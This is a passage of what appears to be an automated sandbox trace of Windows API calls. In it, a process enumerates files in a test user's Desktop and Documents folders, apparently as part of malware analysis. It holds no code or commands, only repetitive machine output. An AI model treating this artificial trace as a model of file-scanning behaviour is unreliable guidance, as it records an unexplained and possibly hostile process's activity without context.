ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0124.741] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.742] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0124.742] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0124.742] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0124.742] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0124.742] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.742] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.742] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.742] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.742] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\") returned="eyzvk3aytLrTvd\\" [0124.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0124.742] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.742] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.742] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.742] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.742] PathFindFileNameW (pszPath="") returned="" [0124.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eyzvk3aytLrTvd\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98c726f0, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x46ca3930, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0x46ca3930, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.744] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30833f0 | out: hHeap=0x5c0000) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98c726f0, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x46ca3930, ftLastAccessTime.dwHighDateTime=0x1d4d00c, ftLastWriteTime.dwLowDateTime=0x46ca3930, ftLastWriteTime.dwHighDateTime=0x1d4d00c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983a9ea0, ftCreationTime.dwHighDateTime=0x1d4d0ba, ftLastAccessTime.dwLowDateTime=0x65ed4b70, ftLastAccessTime.dwHighDateTime=0x1d4c6fe, ftLastWriteTime.dwLowDateTime=0x65ed4b70, ftLastWriteTime.dwHighDateTime=0x1d4c6fe, nFileSizeHigh=0x0, nFileSizeLow=0xf319, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LL-t.wav", cAlternateFileName="")) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26edc30, ftCreationTime.dwHighDateTime=0x1d4d4ca, ftLastAccessTime.dwLowDateTime=0x1f26d8e0, ftLastAccessTime.dwHighDateTime=0x1d4ca24, ftLastWriteTime.dwLowDateTime=0x1f26d8e0, ftLastWriteTime.dwHighDateTime=0x1d4ca24, nFileSizeHigh=0x0, nFileSizeLow=0xd74b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PbT_4bgt7AZeNnG57IPC.avi", cAlternateFileName="PBT_4B~1.AVI")) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x201eab40, ftCreationTime.dwHighDateTime=0x1d4d539, ftLastAccessTime.dwLowDateTime=0xfad2fab0, ftLastAccessTime.dwHighDateTime=0x1d4d4ef, ftLastWriteTime.dwLowDateTime=0xfad2fab0, ftLastWriteTime.dwHighDateTime=0x1d4d4ef, nFileSizeHigh=0x0, nFileSizeLow=0x1777d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rb8St5qJhaFz.bmp", cAlternateFileName="RB8ST5~1.BMP")) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f39ef90, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0x6f045370, ftLastAccessTime.dwHighDateTime=0x1d4d18f, ftLastWriteTime.dwLowDateTime=0x6f045370, ftLastWriteTime.dwHighDateTime=0x1d4d18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TB1FXyT70", cAlternateFileName="TB1FXY~1")) returned 1 [0124.744] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f39ef90, ftCreationTime.dwHighDateTime=0x1d4c6ec, ftLastAccessTime.dwLowDateTime=0x6f045370, ftLastAccessTime.dwHighDateTime=0x1d4d18f, ftLastWriteTime.dwLowDateTime=0x6f045370, ftLastWriteTime.dwHighDateTime=0x1d4d18f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TB1FXyT70", cAlternateFileName="TB1FXY~1")) returned 0 [0124.744] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.745] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.745] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083198 | out: hHeap=0x5c0000) returned 1 [0124.745] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\") returned="iN9wXlo7M3\\" [0124.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0124.745] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.745] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.745] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.745] PathFindFileNameW (pszPath="") returned="" [0124.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iN9wXlo7M3\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ea1a00, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0xf5918ec0, ftLastAccessTime.dwHighDateTime=0x1d4ca3d, ftLastWriteTime.dwLowDateTime=0xf5918ec0, ftLastWriteTime.dwHighDateTime=0x1d4ca3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.746] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30830a8 | out: hHeap=0x5c0000) returned 1 [0124.746] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82ea1a00, ftCreationTime.dwHighDateTime=0x1d4d5a4, ftLastAccessTime.dwLowDateTime=0xf5918ec0, ftLastAccessTime.dwHighDateTime=0x1d4ca3d, ftLastWriteTime.dwLowDateTime=0xf5918ec0, ftLastWriteTime.dwHighDateTime=0x1d4ca3d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.747] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453752d0, ftCreationTime.dwHighDateTime=0x1d4c6b9, ftLastAccessTime.dwLowDateTime=0x5d821c80, ftLastAccessTime.dwHighDateTime=0x1d4cc13, ftLastWriteTime.dwLowDateTime=0x5d821c80, ftLastWriteTime.dwHighDateTime=0x1d4cc13, nFileSizeHigh=0x0, nFileSizeLow=0xeb0c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3yYw8jcr.png", cAlternateFileName="")) returned 1 [0124.747] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65659de0, ftCreationTime.dwHighDateTime=0x1d4d380, ftLastAccessTime.dwLowDateTime=0x822c77c0, ftLastAccessTime.dwHighDateTime=0x1d4cd7f, ftLastWriteTime.dwLowDateTime=0x822c77c0, ftLastWriteTime.dwHighDateTime=0x1d4cd7f, nFileSizeHigh=0x0, nFileSizeLow=0x182b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="45N3LRg1kFlD_Qyjf8.jpg", cAlternateFileName="45N3LR~1.JPG")) returned 1 [0124.747] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f491b0, ftCreationTime.dwHighDateTime=0x1d4cc19, ftLastAccessTime.dwLowDateTime=0x473ebdb0, ftLastAccessTime.dwHighDateTime=0x1d4c78c, ftLastWriteTime.dwLowDateTime=0x473ebdb0, ftLastWriteTime.dwHighDateTime=0x1d4c78c, nFileSizeHigh=0x0, nFileSizeLow=0x1210c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HID JrRHaaXMym.swf", cAlternateFileName="HIDJRR~1.SWF")) returned 1 [0124.747] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097820, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x4cfb5280, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x4cfb5280, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x733b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XWPPBA.flv", cAlternateFileName="")) returned 1 [0124.747] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097820, ftCreationTime.dwHighDateTime=0x1d4d363, ftLastAccessTime.dwLowDateTime=0x4cfb5280, ftLastAccessTime.dwHighDateTime=0x1d4ccab, ftLastWriteTime.dwLowDateTime=0x4cfb5280, ftLastWriteTime.dwHighDateTime=0x1d4ccab, nFileSizeHigh=0x0, nFileSizeLow=0x733b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XWPPBA.flv", cAlternateFileName="")) returned 0 [0124.747] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.747] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.747] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083198 | out: hHeap=0x5c0000) returned 1 [0124.747] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\") returned="38Tocm\\" [0124.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.748] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.748] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.748] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.748] PathFindFileNameW (pszPath="") returned="" [0124.748] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b8d7a80, ftCreationTime.dwHighDateTime=0x1d4ca9d, ftLastAccessTime.dwLowDateTime=0x9c274c10, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0x9c274c10, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.750] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083198 | out: hHeap=0x5c0000) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b8d7a80, ftCreationTime.dwHighDateTime=0x1d4ca9d, ftLastAccessTime.dwLowDateTime=0x9c274c10, ftLastAccessTime.dwHighDateTime=0x1d4c74c, ftLastWriteTime.dwLowDateTime=0x9c274c10, ftLastWriteTime.dwHighDateTime=0x1d4c74c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2802abe0, ftCreationTime.dwHighDateTime=0x1d4ccce, ftLastAccessTime.dwLowDateTime=0xd4146290, ftLastAccessTime.dwHighDateTime=0x1d4c5e7, ftLastWriteTime.dwLowDateTime=0xd4146290, ftLastWriteTime.dwHighDateTime=0x1d4c5e7, nFileSizeHigh=0x0, nFileSizeLow=0x128f9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FRhJVbO27hszhEC4EU.odp", cAlternateFileName="FRHJVB~1.ODP")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x42ca6b90, ftCreationTime.dwHighDateTime=0x1d4d4dd, ftLastAccessTime.dwLowDateTime=0xa78f9250, ftLastAccessTime.dwHighDateTime=0x1d4c7b1, ftLastWriteTime.dwLowDateTime=0xa78f9250, ftLastWriteTime.dwHighDateTime=0x1d4c7b1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JfBL0k2cocNOiKXL4y9", cAlternateFileName="JFBL0K~1")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885e1450, ftCreationTime.dwHighDateTime=0x1d4cb31, ftLastAccessTime.dwLowDateTime=0x8a050bd0, ftLastAccessTime.dwHighDateTime=0x1d4cd19, ftLastWriteTime.dwLowDateTime=0x8a050bd0, ftLastWriteTime.dwHighDateTime=0x1d4cd19, nFileSizeHigh=0x0, nFileSizeLow=0x13ea5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pCC1nCcN4mL.xls", cAlternateFileName="PCC1NC~1.XLS")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x999d8e30, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0xfe776e80, ftLastAccessTime.dwHighDateTime=0x1d4d427, ftLastWriteTime.dwLowDateTime=0xfe776e80, ftLastWriteTime.dwHighDateTime=0x1d4d427, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RrMc-y7gilA", cAlternateFileName="RRMC-Y~1")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4332a80, ftCreationTime.dwHighDateTime=0x1d4cc29, ftLastAccessTime.dwLowDateTime=0x3ea62bc0, ftLastAccessTime.dwHighDateTime=0x1d4cdd6, ftLastWriteTime.dwLowDateTime=0x3ea62bc0, ftLastWriteTime.dwHighDateTime=0x1d4cdd6, nFileSizeHigh=0x0, nFileSizeLow=0x160cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SNg4GRtr2YJUAzJ_6.ppt", cAlternateFileName="SNG4GR~1.PPT")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 1 [0124.750] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 0 [0124.750] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0124.751] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0124.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.751] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.751] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.751] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.751] PathFindFileNameW (pszPath="") returned="" [0124.751] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 0xffffffff [0124.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083558 | out: hHeap=0x5c0000) returned 1 [0124.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.751] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30833f0 | out: hHeap=0x5c0000) returned 1 [0124.751] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0124.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.752] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.752] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.752] PathFindFileNameW (pszPath="") returned="" [0124.752] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2ce30, ftCreationTime.dwHighDateTime=0x1d4caf5, ftLastAccessTime.dwLowDateTime=0x304f3680, ftLastAccessTime.dwHighDateTime=0x1d4d091, ftLastWriteTime.dwLowDateTime=0x304f3680, ftLastWriteTime.dwHighDateTime=0x1d4d091, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TWsD3", cAlternateFileName="")) returned 0xffffffff [0124.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083558 | out: hHeap=0x5c0000) returned 1 [0124.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3038158 | out: hHeap=0x5c0000) returned 1 [0124.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30833f0 | out: hHeap=0x5c0000) returned 1 [0124.752] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0124.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.752] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.752] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.752] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.752] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.752] PathFindFileNameW (pszPath="") returned="" [0124.752] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.753] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083558 | out: hHeap=0x5c0000) returned 1 [0124.753] FindNextFileW (in: hFindFile=0x306c8a0, 